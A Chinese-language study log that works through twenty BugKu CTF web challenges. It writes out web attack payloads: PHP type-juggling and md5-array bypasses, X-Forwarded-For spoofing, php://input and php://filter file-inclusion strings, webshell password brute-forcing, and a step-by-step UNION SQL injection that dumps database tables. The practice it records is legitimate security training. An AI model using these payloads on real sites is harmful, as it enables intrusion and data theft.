2020.09.17
全面複習web,給自己定個目標,後天之前結束BugKu-Web,開始逆向。
經驗教訓
- php弱等於用於繞過
==
,弱等於之前會把等號兩邊轉化為同一型別變數; - 全域性變數全域性變數全域性變數!!$GLOBALS、$_SERVER、$_REQUEST、$_POST、$_GET、$_FILES、$_ENV、$_COOKIE、$_SESSION
- 瀏覽器的檢查元素的網路中內容不一定可信,因為瀏覽器在接受資料的時候會過濾不符合規則的內容,但是flag可能就藏著裡邊
- 偽裝成本地登陸新增請求頭
X-Forwarded-For: 127.0.0.1
; - 火狐瀏覽器有時候會出bug,在一個比較確定的答案沒有結果的時候,可以換個瀏覽器試試。。。。
- 檔案包含漏洞的利用,
php://input
配合<?php echo system('ls');?>
和php://filter/read=convert.base64-encode/resource=index.php
; - 陣列求md5會返回false;
- 如果a、b兩個值不相同,則異或結果為1。如果a、b兩個值相同,異或結果為0。
- 資料庫中大資料庫是information_schema,其中有TABLES、COLUMNS表,儲存所有的表和列資訊。
第一題 web2
https://ctf.bugku.com/challenges#web2
- 一堆這個,在頁碼原始檔找到flag
第二題 計算器
https://ctf.bugku.com/challenges#計算器
- 開啟如下
- 輸入框只能輸入一位數,檢查原始碼,發現生成驗證碼多js檔案
- 直接訪問,在檔案中發現flag
flag{CTF-bugku-0032}
第三題 web基礎$_GET
https://ctf.bugku.com/challenges#web基礎$_GET
- 比較簡單的get,構造payload
?what=flag
,輸出flagflag{bugku_get_su8kej2en}
第四題 web基礎$_POST
https://ctf.bugku.com/challenges#web基礎$_POST
- 簡單的post,Firefox開啟,hackbar外掛,新增post
what=flag
,請求得到flagflag{bugku_get_ssseint67se}
第五題 矛盾
https://ctf.bugku.com/challenges#矛盾
- 不能是數字,還得弱等於1,這就用到字元'1qwk'弱等於數字1這個知識點了,在弱等於的時候,等號兩邊會轉化為同一型別的變數,這裡1qwk轉化為數字後為數字1,payload
num=1qwk
,得到flagflag{bugku-789-ps-ssdf}
第六題 web3
https://ctf.bugku.com/challenges#web3
- 開啟是很多彈窗,看原始碼,在底部發現資訊,html轉碼,得
KEY{J2sa42ahJK-HS11III}
第七題 域名解析
https://ctf.bugku.com/challenges#域名解析
- 訪問
http://123.206.87.240/
後,用hackbar修改host為flag.baidu.com
即可得KEY{DSAHDSJ82HDS2211}
第八題 你必須讓他停下
https://ctf.bugku.com/challenges#你必須讓他停下
- 看原始碼知道是一個script指令碼一直在執行,用瀏覽器停用指令碼之後,得到如下介面,沒啥用,
- 看頁面文字,stop at panda,我重新整理介面原始碼,發現請求檔案一直在變,是不是請求的是panda就可以了呢,burp攔截試試,一直重發就會發現,有概率出現flag
flag{dummy_game_1s_s0_popular}
第九題 本地包含
https://ctf.bugku.com/challenges#本地包含
- 訪問500,估計是壞掉了
第十題 變數1
https://ctf.bugku.com/challenges#變數1
- 得到程式碼
<?php
error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
$args = $_GET['args'];
if(!preg_match("/^\w+$/",$args)){
die("args error!");
}
eval("var_dump($$args);");
}
?>
- 主要意思就是滿足正規表示式,來用var_dump()來輸出變數值,這裡想到全域性變數,構造payload
?args=GLOBALS
得到flagflag{92853051ab894a64f7865cf3c2128b34}
第十一題 web5
https://ctf.bugku.com/challenges#web5
- 開啟檢視原始碼,發現brainfuck密碼,不對,經過查閱是JSFUCK密碼,這是一種神奇的fuck密碼?,解密方法就是在谷歌瀏覽器的控制檯輸進去,結果是
ctf{whatfk}
- 輸入框內,被嘲諷了,原來這就是答案,直接輸就行了……我想多了
第十二題 頭等艙
https://ctf.bugku.com/challenges#頭等艙
- 真的就啥也沒有,那隻能掃一掃了
- 通過burp抓包,發現響應包頭部有flag
flag{Bugku_k8_23s_istra}
第十三題 網站被黑
https://ctf.bugku.com/challenges#網站被黑
- 開啟,一個沒用的網頁,原始碼什麼也沒有,那也只能掃描目錄了
dirb http://123.206.87.240:8002/webshell/
- 掃描發現
shell.php
,需要輸入密碼,弱密碼不好用,考慮爆破。得到密碼為hack
,輸入得到flagflag{hack_bug_ku035}
第十四題 管理員系統
https://ctf.bugku.com/challenges#管理員系統
- 開啟網站是一個簡陋的管理員系統,嘗試弱密碼登陸,失敗,檢視原始碼,發現最底部有東西
dGVzdDEyMw==
,base64解碼得test123
,可能是密碼,
{{uploading-image-166887.png(uploading...)}}
- 登陸未果,考慮是本地登陸的原因,使用burp新增請求頭
X-Forwarded-For: 127.0.0.1
,得到flag85ff2ee4171396724bae20c0bd851f6b
第十五題 web4
https://ctf.bugku.com/challenges#web4
- 開啟讓看原始碼,看看就看看,是一個script,主要意思就是把兩個字串轉碼,然後執行,我轉碼後如下:
function checkSubmit(){
var a=document.getElementById("password");
if("undefined"!=typeof a){
if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)
return!0;
alert("Error");
a.focus();
return!1}}
document.getElementById("levelQuest").onsubmit=checkSubmit;
- 程式碼的意思很明確,就是password的值相等就返回正確,與他比較多一串是md5值,經解密得到
1466644826
,嘗試輸入
- 不好使,然後我就無語了,搜了搜發現不用解碼,直接輸入就行,mdfuck
KEY{J22JK-HS11}
第十六題 flag在index裡
https://ctf.bugku.com/challenges#flag在index裡
- 點選連結
http://123.206.87.240:8005/post/index.php?file=show.php
,這個跳轉的連結有點眼熟,好像是檔案包含漏洞,於是我嘗試php://input
,但是好像被過濾了
- 於是又嘗試另一個
php://filter/read=convert.base64-encode/resource=index.php
,成功輸出結果,轉碼後得到flagflag{edulcni_elif_lacol_si_siht}
第十七題 輸入密碼檢視flag
https://ctf.bugku.com/challenges#輸入密碼檢視flag
- 輸入密碼,我們要善於找到題眼,說了是五位數密碼,他的意思就是五位數字,那麼我認為可以爆破一波,let‘s go
- 突然懷疑是不是不靠譜,有點慢啊這樣,一共九萬個啊,是不是應該用py指令碼開多執行緒試試啊……
- nice,果然,題眼對了就沒問題,說話間出結果了,哈哈哈
flag{bugku-baopo-hah}
第十八題 點選一百萬次
https://ctf.bugku.com/challenges#點選一百萬次
- 應該是沒了這個題……
第十九題 備份是個好習慣
https://ctf.bugku.com/challenges#備份是個好習慣
- 開啟時一堆啥玩意,貌似md5,64位,難不成是兩個md5……
解密結果是[空密碼]
,這是啥玩意,哦哦wc,這是重複了兩遍的同一個
d41d8cd98f00b204e9800998ecf8427e
d41d8cd98f00b204e9800998ecf8427e
但是解密結果還是一樣……
- 考慮到題目是備份,那麼這個考點就是php備份格式
bak swp
等,構造payloadindex.php.bak
,成功下載到檔案
- 拖到winhex中得到index程式碼
整理如下,接下來就是程式碼解析:
<?php
/**
* Created by PhpStorm.
* User: Norse
* Date: 2017/8/6
* Time: 20:22
*/
include_once "flag.php"; //引入檔案
ini_set("display_errors", 0); //不報錯
$str = strstr($_SERVER['REQUEST_URI'], '?'); // 擷取問好之後的內容
$str = substr($str,1); // 把問號去掉
$str = str_replace('key','',$str); // 過濾掉字元key,可以用複寫kekeyy繞過
parse_str($str); // 把str解析到變數中,這種情況直接替代同名變數
echo md5($key1);
echo md5($key2); // 這就是我們一開始看見的兩個md5值的原因
if(md5($key1) == md5($key2) && $key1 !== $key2){ // 得到flag的條件,key1不等於key2,但是他們的md5值相等,這理論上是不可能的,但是我們可以用陣列求md5返回false來繞過
echo $flag."鍙栧緱flag";
}
?>
- 經過分析,構造payload
http://123.206.87.240:8002/web16/index.php?kekeyy1[]=1&kekeyy2[]=2
得到flagBugku{OH_YOU_FIND_MY_MOMY}
第二十題 成績單
https://ctf.bugku.com/challenges#成績單
- 是個sql注入題,哈哈哈,這個我記得,印象深刻。先隨便查一個。
- 整個注入過程如下:
id=1
,輸出正常id=1' ^(1)%23
,沒輸出id=1' ^(0)%23
,輸出正常,說明存在注入1' ORDER BY 4%23
,輸出正常1' ORDER BY 5%23
,輸出錯誤,說明查詢結果有4列0' UNION SELECT 1,2,3,4%23
,輸出正常,能看到每一個輸出對應的地方,可謂一個蘿蔔一個坑?
- 到這一步就說明比較順利了,剩下的就是比較模版的東西了。id換成0,目的是讓前面查詢為空,這樣後邊的查詢結果就能顯示出來。
id=0' UNION SELECT database(),2,3,4%23
,查詢資料庫名為skctf_flag
id=0' UNION SELECT database(),(SELECT GROUP_CONCAT(table_name) FROM information_schema.TABLES WHERE table_schema='skctf_flag'),3,4%23
,查詢資料庫下表名為fl4g,sc
id=0' UNION SELECT database(),(SELECT GROUP_CONCAT(column_name) FROM information_schema.COLUMNS WHERE table_name='fl4g'),3,4%23
,查詢表fl4g下列名skctf_flag
id=0' UNION SELECT database(),(SELECT GROUP_CONCAT(skctf_flag) FROM skctf_flag.fl4g),3,4%23
,查詢列skctf_flag
中資料得到flagBUGKU{Sql_INJECT0N_4813drd8hz4}
- 這真是一道相當好的注入練習題,我受益匪淺。